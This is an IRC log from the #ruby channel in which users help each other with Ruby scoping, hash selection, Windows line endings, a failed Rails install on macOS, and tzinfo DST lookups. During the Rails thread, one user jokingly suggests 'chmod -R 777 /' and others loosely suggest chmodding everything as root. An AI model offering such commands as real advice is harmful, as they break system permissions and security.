apeiros changed the topic of #ruby to: Ruby 2.0.0-p247: http://ruby-lang.org (Ruby 1.9.3-p448) || Paste >3 lines of text on http://gist.github.com || this channel is logged at http://irclog.whitequark.org, other public logging is prohibited
olivier_bK has quit [Ping timeout: 246 seconds]
<holycrab> NilClass sorry
<volty> it should be a Hash if it is a Hash
prsn has joined #ruby
<volty> otherwise just what it is
jalcine has joined #ruby
oddraisin has joined #ruby
<holycrab> right. according to my first line, there is a Hash with key 'volume_index'
<prsn> If I require a file within a module that opens that same module and declares some globals, should those globals exist in the requiring script?
boboc has joined #ruby
<holycrab> where is my syntax wrong in trying to access that Hash by its key?
<prsn> like "module Foo; require 'bar'; puts qux; end" when bar.rb has "module Foo; qux = "hello"; end"
<volty> i don't know -- try inspecting the hash
<prsn> because i thought so, but it isn't working, and I'm wondering what's wrong
<holycrab> volty: if i volumes['volume_index'].inspect() im going to get an error, because thats a NilClass, not a Hash
horofox has joined #ruby
dangerousdave has quit [Ping timeout: 240 seconds]
<holycrab> er, i will get nothing
joonty has joined #ruby
<volty> >> [nil.inspect, nil.class.inspect]
<eval-in> volty => ["nil", "NilClass"] (https://eval.in/58635)
<Guest59834> ITS FUCKING SKI SEASON!
<Guest59834> WOOT
<volty> do volumes.inspect
freakazoid0223 has joined #ruby
lmickh has quit [Quit: lmickh]
kaspergrubbe has quit [Remote host closed the connection]
predator117 has quit [Ping timeout: 240 seconds]
kaspergrubbe has joined #ruby
zeade has quit [Quit: Leaving.]
enebo has quit [Quit: enebo]
derebos has quit [Ping timeout: 272 seconds]
horofox has quit [Client Quit]
robawt has joined #ruby
<volty> or just volumes.keys.inspect (could be that it is :volume_index and not 'volume_index' ) I can't know -- you have the hash :)
predator117 has joined #ruby
`Chris`_ has joined #ruby
<volty> prsn: you could be better than me if you write code the requires from inside modules :)
Lewix has quit [Remote host closed the connection]
jkline has quit [Quit: jkline]
jarm has joined #ruby
ldnunes has joined #ruby
tvw has quit [Ping timeout: 272 seconds]
nari has quit [Ping timeout: 245 seconds]
<prsn> volty: i moved the require outside and it still doesn't work
jlast has joined #ruby
`Chris` has quit [Ping timeout: 272 seconds]
burlyscudd has quit [Quit: Leaving.]
<prsn> undefined local variable or method `qux' for Foo:Module (NameError)
krainboltgreene has joined #ruby
reset has joined #ruby
jkline has joined #ruby
tylersmith has quit [Remote host closed the connection]
Lewix has joined #ruby
<volty> qux is local var
<volty> just a local
mikepack has joined #ruby
swingha has quit [Quit: WeeChat 0.4.2]
jonathanwallace has quit [Ping timeout: 272 seconds]
<prsn> i thought it would be local to the module wherever it was opened
Boohbah has joined #ruby
<prsn> what should I use instead?
<volty> @qux
<volty> (for the sake of just overcoming the error - i don't know what are you trying to achieve )
Zai00 has quit [Quit: Zai00]
Sc0tty- has joined #ruby
<prsn> okay, ty
theoretick has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<prsn> i guess i thought @ was for instances of classes
<volty> your class is an instance of Class
<prsn> ah, got it
<volty> ops , module
robawt has quit [Changing host]
robawt has joined #ruby
brennanMKE has joined #ruby
binarypl1 has joined #ruby
Beoran_ has joined #ruby
ldnunes has quit [Quit: Leaving]
mikepack has quit [Ping timeout: 264 seconds]
<bricker> Any one or two-liners I can use instead of this? https://gist.github.com/bricker/7224440
jlast has quit [Ping timeout: 245 seconds]
peneconleche has joined #ruby
dkamioka has joined #ruby
binaryplease has quit [Ping timeout: 245 seconds]
Lewix has quit [Remote host closed the connection]
theoretick has joined #ruby
<bricker> oh wait
<volty> just big_hash.select, no need for 'new_hash'
<bricker> *facepalm*(
<bricker> I thought that would convert the hash into an array
Beoran__ has quit [Ping timeout: 268 seconds]
<bricker> I need to try things instead of assuming they won't work
brennanMKE has quit [Ping timeout: 246 seconds]
pskosinski has quit [Quit: Til rivido Idisti!]
<volty> but don't put your hand on fire instead of assuming it won't hurt you :)
kindjal_ has joined #ruby
freerobby has joined #ruby
<peneconleche> lulz
boboc has quit [Ping timeout: 245 seconds]
efrainolivares has quit [Quit: efrainolivares]
JaTochNietDan has quit [Quit: Right.]
mfridh has joined #ruby
brennanMKE has joined #ruby
InFlames has quit [Quit: Leaving]
lbwski has quit [Ping timeout: 245 seconds]
workmad3 has quit [Ping timeout: 260 seconds]
JaTochNietDan has joined #ruby
<volty> bricker: are you going to try on or want a shortline ?
echevemaster_afk is now known as echevemaster
lbwski has joined #ruby
<bricker> volty: eh? I'm just using `big_hash.select { |k, _| keep_keys.include? k }` ... nice and short
efrainolivares has joined #ruby
baroquebobcat has joined #ruby
<volty> >> big_hash = { a: 1, b: 2, c: 3, d: 4, e: 5 }; keep_keys = [:a, :b, :c]; Hash[keep_keys.zip(big_hash.values_at(*keep_keys))]
<eval-in> volty => {:a=>1, :b=>2, :c=>3} (https://eval.in/58638)
pel_daniel has left #ruby [#ruby]
zz_karupanerura is now known as karupanerura
b00stfr3ak has quit [Ping timeout: 256 seconds]
julweber has joined #ruby
`Chris` has joined #ruby
`Chris`_ has quit [Ping timeout: 241 seconds]
Jetchisel has joined #ruby
dkamioka has quit [Remote host closed the connection]
capicue has quit [Quit: Leaving...]
RichardBaker has quit [Quit: RichardBaker]
peneconleche has quit [Quit: Leaving...]
pkrnj has joined #ruby
lmadrigal has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
kindjal_ has quit [Ping timeout: 246 seconds]
pen has quit [Remote host closed the connection]
sbos99 has joined #ruby
pen has joined #ruby
efrainolivares has quit [Quit: efrainolivares]
Domon has joined #ruby
mattp_ has joined #ruby
ssvo_ has quit [Ping timeout: 245 seconds]
pkrnj has quit [Client Quit]
wesside has quit [Quit: I think I heard an ice cream truck..]
kvirani has quit [Remote host closed the connection]
kindjal has joined #ruby
<CaptainJet> Fun times, I have a File related question as well
kvirani has joined #ruby
<CaptainJet> File#foreach does not seem to include \r in the lines read
<CaptainJet> even though they are clearly there
nari has joined #ruby
<CaptainJet> So if the line should be "line 1\r\n", it just shows as "line 1\n"
sambao21 has quit [Quit: Computer has gone to sleep.]
hogeo has joined #ruby
lfox has quit [Ping timeout: 246 seconds]
kaspergrubbe has quit [Remote host closed the connection]
wesside has joined #ruby
kaspergr_ has joined #ruby
VTLob has quit [Quit: VTLob]
tatsuya_o has joined #ruby
kvirani has quit [Remote host closed the connection]
jkline has quit [Quit: jkline]
lfox has joined #ruby
<bean__> CaptainJet, only windows has \r\n, pretty sure.
<CaptainJet> Yes but I need to be able to tell that the \r is there as well as the \n
mercwithamouth has quit [Quit: Lost terminal]
<volty> check $/
einarj has joined #ruby
<robonerd> isn't there some kind of micro framework even more close to the metal than sinatra?
<robonerd> i can't recall the name
<volty> and check well that you check well
<CaptainJet> $/ is "\n"
<robonerd> not rack, not mercury
<volty> CaptainJet: version?
freerobby has quit [Quit: Leaving.]
<CaptainJet> ruby 2.0.0p247 (2013-06-27) [i386-mingw32]
<robonerd> not camping
wesside has quit [Quit: I think I heard an ice cream truck..]
tatsuya_o has quit [Ping timeout: 246 seconds]
wesside has joined #ruby
<volty> try with StringIO.new("test\r\nsecond\r\nthird").foreach { |ln| p ln }
pencilcheck has joined #ruby
`Chris`_ has joined #ruby
taternuts has joined #ruby
<CaptainJet> That seems to work properly
JaTochNietDan has quit [Quit: Right.]
<CaptainJet> using each_line, since stringio doesn't have a foreach method
<volty> ah! :)
kindjal has quit [Quit: Computer has gone to sleep.]
einarj has quit [Ping timeout: 272 seconds]
`Chris` has quit [Ping timeout: 272 seconds]
<volty> then better check your string, read binary and make sure \r 's are there
<volty> e.g. your file
<volty> e.c
<CaptainJet> the \r's are there, I'l already checked
pen has quit [Ping timeout: 245 seconds]
<CaptainJet> I will note however, that File.read and File.binread are different in that #read only shows \n but the binread shows the \r\n
tsykoduk is now known as zz_tsykoduk
<volty> what is the order of \n \r ?
mixel has quit [Quit: mixel]
<CaptainJet> \r\n
<volty> and what os?
<CaptainJet> Windows 7
jonathanwallace has joined #ruby
kreeves has joined #ruby
<volty> then must be that ruby uses a system call for read and the underlaying win libs strip that /r
<volty> \r
codeFiend has joined #ruby
freerobby has joined #ruby
<CaptainJet> ah well
<CaptainJet> File.open(fn).binmode.each_line
Sc0tty- has quit [Quit: Leaving]
<CaptainJet> Seems to work
<volty> nice
<volty> and you already knew that
tkuchiki has joined #ruby
<CaptainJet> I didn't know that until right now
<robonerd> anyone use cramp?
<CaptainJet> I thought about it when binread worked but read didn't
<CaptainJet> So I figured I should just read in binary mode instead
lukec has quit [Quit: lukec]
<volty> ah ok :)
thepumpkin has quit [Remote host closed the connection]
<CaptainJet> Thank you for rubber ducking for me :D
<volty> yw
cpruitt has quit [Quit: cpruitt]
ephemerian1 has quit [Quit: Leaving.]
holycrab has quit [Read error: Operation timed out]
holycrab has joined #ruby
phantasm66 has joined #ruby
phantasm66 has quit [Changing host]
phantasm66 has joined #ruby
cpruitt has joined #ruby
pothibo has joined #ruby
pragmatism has quit [Quit: Leaving...]
RORgasm has joined #ruby
pwh has joined #ruby
chriskk has joined #ruby
jlast has joined #ruby
danshultz has joined #ruby
|jemc| has joined #ruby
bubbajones has quit [Ping timeout: 256 seconds]
bubbajones has joined #ruby
kitak has quit [Remote host closed the connection]
pothibo has quit [Client Quit]
jlast has quit [Remote host closed the connection]
thepumpkin has joined #ruby
jlast has joined #ruby
frem has quit [Ping timeout: 268 seconds]
binarypl1 has quit [Ping timeout: 272 seconds]
RORgasm has quit [Ping timeout: 245 seconds]
frem has joined #ruby
kitak has joined #ruby
Xuerian has quit [Ping timeout: 268 seconds]
mikepack has joined #ruby
mmitchell has joined #ruby
jonr22 has joined #ruby
cpruitt has quit [Quit: cpruitt]
Xuerian has joined #ruby
thepumpkin has quit [Ping timeout: 240 seconds]
jlast has quit [Ping timeout: 246 seconds]
kayloos_ has quit []
cpruitt has joined #ruby
mmitchell has quit [Remote host closed the connection]
falood has joined #ruby
Spami has quit [Quit: This computer has gone to sleep]
jkhwan has quit [Remote host closed the connection]
<robonerd> is ruby still going strong? are people launching successful start ups with it?
jkhwan has joined #ruby
mikepack has quit [Ping timeout: 245 seconds]
mark06 has joined #ruby
frem has quit [Ping timeout: 264 seconds]
jonr22 has quit [Ping timeout: 245 seconds]
jrhe has joined #ruby
c0rn_ has quit [Quit: Computer has gone to sleep.]
reset has quit [Ping timeout: 245 seconds]
boboc has joined #ruby
Voodoofish4301 has quit [Quit: Leaving.]
aantix has quit [Quit: aantix]
chriskk has quit [Remote host closed the connection]
<|jemc|> heh
krainboltgreene has quit [Ping timeout: 245 seconds]
Xaitec has joined #ruby
AlSquire has quit [Quit: This computer has gone to sleep]
<|jemc|> ruby is a flexible, general purpose language. You're going to have to define your terms to get answers that mean something to you
jkhwan has quit [Ping timeout: 272 seconds]
lyanchih has joined #ruby
earthquake has quit [Quit: earthquake]
krainboltgreene has joined #ruby
coca_rails has joined #ruby
<|jemc|> (and you still may not still get any meaningful answers from the handful of people idling on IRC who see your question and feel like responding to it)
Domon has quit [Ping timeout: 245 seconds]
goleldar has quit [Remote host closed the connection]
<coca_rails> Hello room. im new to irc. can you see my message?
<volty> there's the nasa that is about to enumerate their satellites using ruby , sorry but i lost the urls about it
goleldar has joined #ruby
<sam113101> coca_rails: I can
<volty> sam113101: ?
<sam113101> volty: ?
sailias has joined #ruby
<volty> to whom you are talking ?
* sam113101 is seeing ghosts
<sam113101> s-sorry
baroquebobcat has quit [Quit: baroquebobcat]
<coca_rails> thanks!
<sam113101> they just seem so real
gyre007 has joined #ruby
jrhe has quit [Quit: jrhe]
<volty> to me they seem trolling
ffranz has quit [Quit: Leaving]
<coca_rails> i hope im not being mistaken for a ghost. lol
<coca_rails> ..or a troll
<|jemc|> a ghost-troll no less
<sam113101> sorry I just joined in, who is he?
goleldar has quit [Ping timeout: 245 seconds]
<volty> a wanting to be seen
jkhwan has joined #ruby
<coca_rails> It's been years since ive been on IRC.. I just wanted to make sure I registered my nick and all that jazz correctly and can now be heard!
havenwood has quit [Remote host closed the connection]
<coca_rails> Anyways, the reason I'm here is because I'm having a hard time installing rails.
<coca_rails> I'm looking for some help.
<sam113101> gem install rails
<volty> ah! I didn't that type of check even on my first connection on irc :)
<coca_rails> well.. i'm beyond that. lol
<bnagy> there are dedicated rails channels - #rubyonrails I think
lukec has joined #ruby
<bnagy> they seem to change the popular ones every so often
<sam113101> well do you have any error message? where does it fail?
<sam113101> you need to provide details
<coca_rails> yea, they're ignorning me :(
<sam113101> !details
<sam113101> !help
<sam113101> !broken
<coca_rails> Yes. I will provide details.
<sam113101> is there no bot in this room?
jlast has joined #ruby
<bnagy> there's eval-in
cspray has quit [Remote host closed the connection]
<bnagy> >> "yo!"
<eval-in> bnagy => "yo!" (https://eval.in/58642)
samfisher has quit [Ping timeout: 246 seconds]
<sam113101> >> puts 'hello'
<eval-in> sam113101 => hello ... (https://eval.in/58643)
<coca_rails> ive tried a bunch of stuff, none of it works
<coca_rails> but heres the error
<coca_rails> While executing gem ... (Gem::FilePermissionError)
<coca_rails> You don't have write permissions for the /Library/Ruby/Gems/2.0.0 directory.
Xaitec has quit [Remote host closed the connection]
fredjean has joined #ruby
volty has quit [Quit: going on the rails that go in my bed's direction]
jlast has quit [Remote host closed the connection]
alse has joined #ruby
jlast has joined #ruby
<sam113101> how did you install ruby?
bugsinlights__ is now known as bugsinlights
<|jemc|> sounds like a job for sudo!
<sam113101> you shouldn't need sudo to use gem… it's weird
<|jemc|> (or a user-space installation of ruby)
<bnagy> |jemc|: nah sudo if for amateurs, just chmod -R 777 /
<coca_rails> Well, im on a mac, 10.9
<sam113101> ^
<coca_rails> i just bought this guy from a friend
<coca_rails> so pardon if i talk like a windows-head, which is what i am
<coca_rails> anyways, my understanding is it came installed with ruby
<coca_rails> but what i did was install rvm
<coca_rails> and i dont know what went wrong, where.
* bnagy gets popcorn
<coca_rails> i just followed the instructions online.
<sam113101> type "which ruby"
<coca_rails> and i ran into issues
<coca_rails> ok.
<sam113101> and "which gem"
zeade has joined #ruby
* mark06 cross-posts
<robonerd> i was in here like a month ago and someone was suggesting a ruby web framework that was a bit fringe, but micro and powerful
<robonerd> good design. async, threaded, whatever
<coca_rails> which ruby => /usr/bin/ruby
<sam113101> well it doesn't seem like you're using rvm
<coca_rails> which gem => /usr/bin/gem
prsn has quit [Quit: Lost terminal]
<sam113101> try "rvm use ruby"
<sam113101> not sure if it's right
<coca_rails> oh! lol
<sam113101> I don't use rvm
<coca_rails> i forgot to mention
rickmasta has quit [Read error: Connection reset by peer]
<|jemc|> robonerd: probably were talking about rails. I don't think many people use it, and it's pretty lightweight. :P
<coca_rails> i got so frustrated i deleted my old account
<|jemc|> robonerd: sorry, couldn't resist
<coca_rails> so, i guess i dont have rvm installed anymore? idk how Mac os works.
jkhwan has quit [Remote host closed the connection]
jlast has quit [Ping timeout: 246 seconds]
kevinykchan has quit [Quit: Computer has gone to sleep.]
devoldmx has quit [Ping timeout: 272 seconds]
jkhwan has joined #ruby
danshultz has quit [Remote host closed the connection]
<coca_rails> i dont care about rvm for now..
<coca_rails> i just want to start using rails
<sam113101> well just run gem as root I guess
<coca_rails> i did the sudo thing
verto has quit [Quit: Textual IRC Client: www.textualapp.com]
<coca_rails> doesnt work
danshultz has joined #ruby
<sam113101> I can't remember if mac os x has sudo, try "sudo gem …"
<sam113101> what does it say?
bricker`LA has joined #ruby
<bnagy> it does. It's basically just a bsd userland
<bnagy> sounds like the user account should be in some group that lets it install gems, but I don't have a 10.9 box to see how they've done it
<coca_rails> Building native extensions. This could take a while...
<coca_rails> ERROR: Error installing rails:
<coca_rails> ERROR: Failed to build gem native extension.
<coca_rails> /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/ruby extconf.rb
<coca_rails> mkmf.rb can't find header files for ruby at /System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/lib/ruby/include/ruby.h
<coca_rails> Gem files will remain installed in /Library/Ruby/Gems/2.0.0/gems/atomic-1.1.14 for inspection.
<coca_rails> Results logged to /Library/Ruby/Gems/2.0.0/gems/atomic-1.1.14/ext/gem_make.out
devoldmx has joined #ruby
verto has joined #ruby
<bnagy> yeah you need dev tools
<coca_rails> i should have em
<coca_rails> how do i check again
<sam113101> coca_rails: do "ls -la /usr/bin/gem"
rickmasta has joined #ruby
<mark06> in tzinfo gem, how can I know if a specific date/time is within dst period for such timezone or not?
julian-delphiki has joined #ruby
jkhwan has quit [Ping timeout: 272 seconds]
baroquebobcat has joined #ruby
adjo has quit [Ping timeout: 245 seconds]
danshultz has quit [Ping timeout: 246 seconds]
<coca_rails> lrwxr-xr-x 1 root wheel 75 Oct 28 00:46 /usr/bin/gem -> ../../System/Library/Frameworks/Ruby.framework/Versions/Current/usr/bin/gem
devoldmx has quit [Ping timeout: 245 seconds]
tatsuya_o has joined #ruby
boboc has quit [Ping timeout: 268 seconds]
<sam113101> coca_rails: type "groups" now
TheMoonMaster has joined #ruby
danshultz has joined #ruby
<sam113101> if you're an admin you should be in the wheel group I think
<bnagy> I've never used it
<coca_rails> groups: staff com.apple.sharepoint.group.1 everyone localaccounts _appserverusr admin _appserveradm _lpadmin _appstore _lpoperator _developer com.apple.access_screensharing com.apple.access_ssh
`Chris`_ has quit [Read error: Connection reset by peer]
`Chris` has joined #ruby
<DanBoy> bsd style you should be in the wheel group
<bnagy> but looks like you 'cast' a localtime to a tz location and it will give you a period, which will either be a DST or a standard zone - eg us EST vs EDT
bean__ has quit [Ping timeout: 272 seconds]
<sam113101> should it also list wheel?
<coca_rails> Anyone feel like direct connecting on Teamviewer or something?
dayepa has quit [Quit: dayepa]
<coca_rails> ill pay $10 paypal for whoever can fix this issue!
<sam113101> 1.. 2.. 3.. get rich!
<coca_rails> lol
`Chris`_ has joined #ruby
dayepa has joined #ruby
<vpretzel> Why not just ask the channel for help?
<DanBoy> use rvm?
tatsuya_o has quit [Ping timeout: 240 seconds]
codeFiend has quit [Quit: codeFiend]
framling_ is now known as framling
<coca_rails> im afraid its a deeply rooted issue.
<bnagy> nooooo
<DanBoy> i dunno i think its best not to mess with the system under mac
<sam113101> you just need to install dev tools
<DanBoy> macports + rvm is what i use
<vpretzel> rvm + homebrew for the win.
<DanBoy> i forgot what i had to do to set it up
<vpretzel> Not that rvm is the best solution for all but it works for my projects
x1337807x has joined #ruby
<DanBoy> install xcode and what not
<coca_rails> dev tools are installed.
<vpretzel> Deeply rooted costs more than $10 :-D
nisstyre has quit [Ping timeout: 245 seconds]
narendra has joined #ruby
`Chris` has quit [Ping timeout: 245 seconds]
<DanBoy> ruby should come installed already in mountain lion
<vpretzel> ......
<vpretzel> It's installed in damn near every OSX version DanBoy
<vpretzel> Just not the version that you probably want.
<DanBoy> so whats the problem again
<coca_rails> :/
<vpretzel> Don't know, I don't think coca_rails has said.
<DanBoy> lol :P
<coca_rails> lol
pierrebonbon has joined #ruby
<coca_rails> Permission problems
<DanBoy> mountain lion has 1.9
<DanBoy> lion comes with 1.8
<coca_rails> it wont let me install rails
<vpretzel> Oh
ninegrid has quit [Ping timeout: 260 seconds]
<vpretzel> easy peasy coca_rails
<vpretzel> What system?
<bnagy> that's some weird paths it's looking for, as well btw
aryatab has joined #ruby
<DanBoy> for real i would stop messing with system wide ruby and gems and what not, rvm makes it a lot simpler
<coca_rails> dude ive tried everything i could find online
<coca_rails> ERROR: While executing gem ... (Gem::FilePermissionError)
<coca_rails> You don't have write permissions for the /Library/Ruby/Gems/2.0.0 directory.
<vpretzel> Are you using any kind of version manager coca_rails?
<DanBoy> sudo -s
<coca_rails> i installed rvm.
<DanBoy> and chown
<vpretzel> Did you install rvm as sudo?
<pierrebonbon> sudo gem install
<coca_rails> ..i dont remember..
<coca_rails> i dont think i installed as sudo
<vpretzel> never pierrebonbon... never.
<sam113101> he's not currently using rvm
<DanBoy> it comes with sudo
<bnagy> oh holy hell.. osx ruby is insane. They install a full /usr tree inside the Frameworks crap :D
<coca_rails> im not currently using rvm though
<coca_rails> here's what happened
<coca_rails> the whole story...
ninegrid has joined #ruby
<vpretzel> Oh boy here we go.
<DanBoy> ok then if you wanna get all dirty i guess
<DanBoy> sudo -s
<sam113101> what's that framework thing?
<coca_rails> i just bought this mac from a friend last night..was super excited to start working on it
<sam113101> and the big ass path?
<DanBoy> and go chown/chmod everything
brianpWins has joined #ruby
<coca_rails> this morning i deleted his account (after creating my new admin acct)
IceDragon has quit [Quit: Space~~~]
<bnagy> sam113101: just their odd install location - I guess it's their version of having co-existing rubies, they do similar insanity with Java
<sam113101> shouldn't he just add himself to the wheel group?
<DanBoy> osx is weird
<DanBoy> show us 'id'
nateberkopec has quit [Quit: Leaving...]
devoldmx has joined #ruby
<sam113101> he's in admin but not wheel
<coca_rails> id?
<vpretzel> coca_rails: can I PM you? too much chatter.
<coca_rails> Sure you can
<bnagy> imho, ignore all the system shit, install ports, then install via chruby as a normal user
<DanBoy> same on my box
<DanBoy> im an admin but not wheel
<DanBoy> its not traditional bsd i guess
iamjarvo has joined #ruby
<sam113101> DanBoy: OS X?
<DanBoy> yes
<DanBoy> lion
<sam113101> can you run gem as a normal user?
narendra has left #ruby [#ruby]
<DanBoy> ya using rvm
<DanBoy> im not gunna install it system wide and risk messing with the structure of the OS
<coca_rails> It's weird.
<sam113101> what about the /usr/bin/gem one?
<DanBoy> rvm + macports or homebrew
<coca_rails> I was having problems installing the older version of ruby as well.
<DanBoy> is what most people do
<DanBoy> lemme see
<coca_rails> through some rvm gui tool
<bnagy> not anymore, based on current sampling data
<coca_rails> i dont remember the problem anymore.
<coca_rails> i deleted that whole account out of frustration and created a new account to start everything over
<coca_rails> but im running into the same issues
<DanBoy> i have /usr/bin/gem
<bnagy> rvm is kind of insane
<mark06> bnagy: that's just the documentation
<DanBoy> it came with the OS though
<mark06> bnagy: I asked after trying it
<DanBoy> and its an old version
<mark06> bnagy: are you able to figure out how to achieve it from there?
<bnagy> mark06: what did you try, and what was the result?
<bnagy> like, I would expect some_period_obj.dst? to work
<bnagy> based on the docs
<mark06> bnagy: I tried finding the answer there, I couldn't, how about you
<DanBoy> bro
<DanBoy> ok
<DanBoy> this is your friends box right? you just got it
<mark06> bnagy: a sec
<DanBoy> do you care whats on it
<DanBoy> bring it to the mac store and have them reinstall the entire thing
<mark06> bnagy: as sorry not the same page, I was still on http://rubydoc.info/gems/tzinfo/TZInfo/Timezone
<mark06> bnagy: will read it a bit and try, brb
<coca_rails> sorry im back. 1 sec let me read up
gyre007 has quit [Remote host closed the connection]
heidi has quit [Quit: Leaving.]
carif_ has joined #ruby
<mark06> bnagy: I don't understand, e.g. period_for_utc(utc), what the heck is utc, which class? which format?
devoldmx3 has joined #ruby
aryatab has quit [Quit: aryatab]
<mark06> bnagy: I know what UTC is, I mean it doesn't really explain how to fill in the parameter
aryatab has joined #ruby
<vpretzel> Ahh it's a string mark06
aryatab has quit [Client Quit]
mlpinit has joined #ruby
<mark06> bnagy: ah, in description: "utc can either be a DateTime, Time or integer timestamp (Time.to_i)"
<vpretzel> You could do Date.today in IRB and see the format
nisstyre has joined #ruby
<vpretzel> 2.0.0p247 :002 > Date.today => #<Date: 2013-10-29 ((2456595j,0s,0n),+0s,2299161j)>
whunt has quit [Quit: Computer has gone to sleep.]
MrPoT4tO has joined #ruby
<mark06> vpretzel: where's time
aryatab has joined #ruby
mrpot4to_ has joined #ruby
aryatab has quit [Remote host closed the connection]
<mark06> Time.now
devoldmx has quit [Ping timeout: 245 seconds]
<vpretzel> yeah...
<vpretzel> :)
<bnagy> mark06: from the very top page, looks like once you Timezone.get, then tz.utc_to_local, you can then period_for_local on that and get a TimezonePeriod
<DanBoy> ya i'd pick one or the other to use
<bnagy> mark06: the way I have navigated stuff like this ( with 'interesting' documentation ) before is via irb
<bnagy> mark06: make heavy use of blah.class and blah.methods until you work out what returns what :<
m00nlight has joined #ruby
<bnagy> basically, you get a timezone, which is actually a location. Then you call utc_to_local on that object and it converts a UTC to localtime at that location
carif_ has quit [Ping timeout: 246 seconds]
<bnagy> which can be either a DST identifier or not
<DanBoy> coca_rails, just reinstall the box, clean it up so its yours
<bnagy> mark06: standard ruby date / time etcdoesn't know anything about zones, only offsets
<mark06> bnagy: hmm, I have the input in this format: Wed 2012-12-12 02:04:18 -0300, where -0300 is really random, from anywhere in the globe... I don't get your suggestion well, does adding a tz offset qualifies it as utc still?
<bnagy> well it all depends on location
<mark06> bnagy: I was and am using irb to experiment, yes
<DanBoy> zulu time :P
<bnagy> I'm in the marshall islands, which is +1200, but no DST it's all MHT. +1200 could also be Wellington
sailias has quit [Ping timeout: 245 seconds]
<bnagy> but they are DST right now - no way to tell from the offset
cpruitt has quit [Quit: cpruitt]
navyant24 has joined #ruby
blackmesa has quit [Ping timeout: 240 seconds]
iamjarvo has quit [Remote host closed the connection]
<bnagy> so basically, without a location and a tzinfo file you have NFI about dst
kaspergr_ has quit [Remote host closed the connection]
iamjarvo has joined #ruby
kaspergrubbe has joined #ruby
<bnagy> all you can usefully get from a pure offset is UTC
<mark06> I'm confused on the need for conversions between local and utc, what it really means for this sample input? Wed 2012-12-12 02:04:18 -0300... I would classify this as UTC timewith just an offset, right? or is this considered a local time... I don't understand what those methods really mean
pragmatism has joined #ruby
<bnagy> it is just a moment in time
<mark06> well will play on irb a bit, as ec
<DanBoy> the time is green wich mean time right
devoldmx3 has quit [Read error: Connection reset by peer]
kitak_ has joined #ruby
<DanBoy> and the offset is that time plus or minus resulting in your time?
<bnagy> without a location, as I said a few times, you have no idea how that relates to 'local' time at any given location
saarinen has joined #ruby
<bnagy> well.. except for countries with no DST :P
dabos has joined #ruby
kitak has quit [Read error: Connection reset by peer]
tjbarber has joined #ruby
devoldmx has joined #ruby
tjbarber has quit [Client Quit]
petey has quit [Ping timeout: 245 seconds]
mikepack has joined #ruby
pierrebonbon has quit [Ping timeout: 250 seconds]
navyant24 has quit [Client Quit]
SilverKey has quit [Ping timeout: 272 seconds]
<bnagy> mark06: take heart, though, you are like the 4336789th person I have seen be confused and annoyed by ruby time handling
<bnagy> so it's not like it's obvious and you're missing it
nateberkopec has joined #ruby
<DanBoy> is DateTime part of the stdlib
digital-ghost has quit [Remote host closed the connection]
endash has quit [Quit: endash]
kaspergrubbe has quit [Ping timeout: 264 seconds]
<bnagy> kinda, it's weird
sbos99 has quit [Ping timeout: 246 seconds]
<bnagy> if you include it you get extra stuff :/
<DanBoy> i went over all this in ruby cookbook
<DanBoy> lot of stuff i lost in my brain
<DanBoy> but ya people get confused using Time and DateTime
<DanBoy> use one or the other
<bnagy> no wait I am thinking of date
<bnagy> datetime is in time, OBVIOUSLY
<bnagy> >> require 'time'; DateTime
<eval-in> bnagy => DateTime (https://eval.in/58646)
<mark06> ah the bot, good, so see this...
<bnagy> but none of that helps people with "HOW DO I DST LOL"
whunt has joined #ruby
<bnagy> which happens All The Time
<mark06> >>require 'tzinfo'
<eval-in> mark06 => (https://eval.in/58647)
<DanBoy> eval-in, is a bot
<DanBoy> ?
<|jemc|> yup
<bnagy> izonfo is a gem, eval-in won't have it installed
mikepack has quit [Ping timeout: 268 seconds]
<bnagy> *tzinfo
<DanBoy> eval-in, get me a coffee
<mark06> I see, ok so...
devoldmx has quit [Read error: Connection reset by peer]
devoldmx has joined #ruby
<DanBoy> horrible bot
tjbarber has joined #ruby
<mark06> none of these work:
<mark06> tz.period_for_local('Wed 2012-12-12 02:04:18 -0300').dst? => false
<mark06> tz.period_for_utc('Wed 2012-12-12 02:04:18 -0300').dst? => false
<mark06> sorry should not have pasted this...
<mark06> tz.period_for_local('I am not really a date and no error is raised').dst? => no error
pragmatism has quit [Quit: Leaving...]
<DanBoy> i think the rule is > 3 lines dont paste
<DanBoy> your good
lukec has quit [Quit: lukec]
theoretick has quit [Quit: Textual IRC Client: www.textualapp.com]
<mark06> passing date as string is unsafe, it's silent if date is incorrect
<mark06> it's always returning false which is incorrect, and I don't even know if it's parsing the date correctly
<bnagy> which timezone did you get into tz?
pragmatism has joined #ruby
<mark06> America/Sao_Paulo, that date *is* dst
jkline has joined #ruby
gja has joined #ruby
mlpinit has quit [Remote host closed the connection]
coca_rails has quit []
mlpinit has joined #ruby
nisstyre has quit [Ping timeout: 246 seconds]
<bnagy> the docs say you need to give it either a Time, a DateTime or a timestamp
<bnagy> so you're gonna have to convert that string into any of those, I think
hiyosi has quit [Ping timeout: 252 seconds]
x1337807x has quit [Quit: My MacBook Pro has gone to sleep. ZZZzzz…]
<bnagy> >> Time.parse('Wed 2012-12-12 02:04:18 -0300').to_i
<eval-in> bnagy => undefined method `parse' for Time:Class (NoMethodError) ... (https://eval.in/58648)
<bnagy> lame
<vpretzel> Oh sweet bot.
sadleb has joined #ruby
<vpretzel> If it works...
<bnagy> >> require 'time';Time.parse('Wed 2012-12-12 02:04:18 -0300').to_i
<eval-in> bnagy => 1355288658 (https://eval.in/58650)
<bnagy> nah was my error not the bot's
<vpretzel> :)
mlpinit_ has joined #ruby
<DanBoy> Time.to_i is always seconds
<DanBoy> DateTime is different i think
DanKnox is now known as DanKnox_away
<bnagy> it is
mlpinit has quit [Read error: Connection reset by peer]
araujo has quit [Read error: Connection reset by peer]
<mark06> bnagy: the implementation is wrong, should not silently accept strings...
<mark06> bnagy: anyway, this is fine: dt=DateTime.strptime('Weda 2012-12-12 02:04:18 -0300', '%a %Y-%m-%d %H:%M:%S %z')
SilverKey has joined #ruby
adeponte has quit [Remote host closed the connection]
baroquebobcat has quit [Quit: baroquebobcat]
araujo has joined #ruby
<bnagy> mark06: well then you should patch it or complain to the maintainer, not me, I'm just reading the docs for you
SilverKey has quit [Max SendQ exceeded]
<mark06> bnagy: but tz.period_for_local(dt).dst? and tz.period_for_utc(dt).dst? are both true, so I'm confused which one is correct to use...
<bnagy> not that I disagree, btw, it looks retarded and ancient
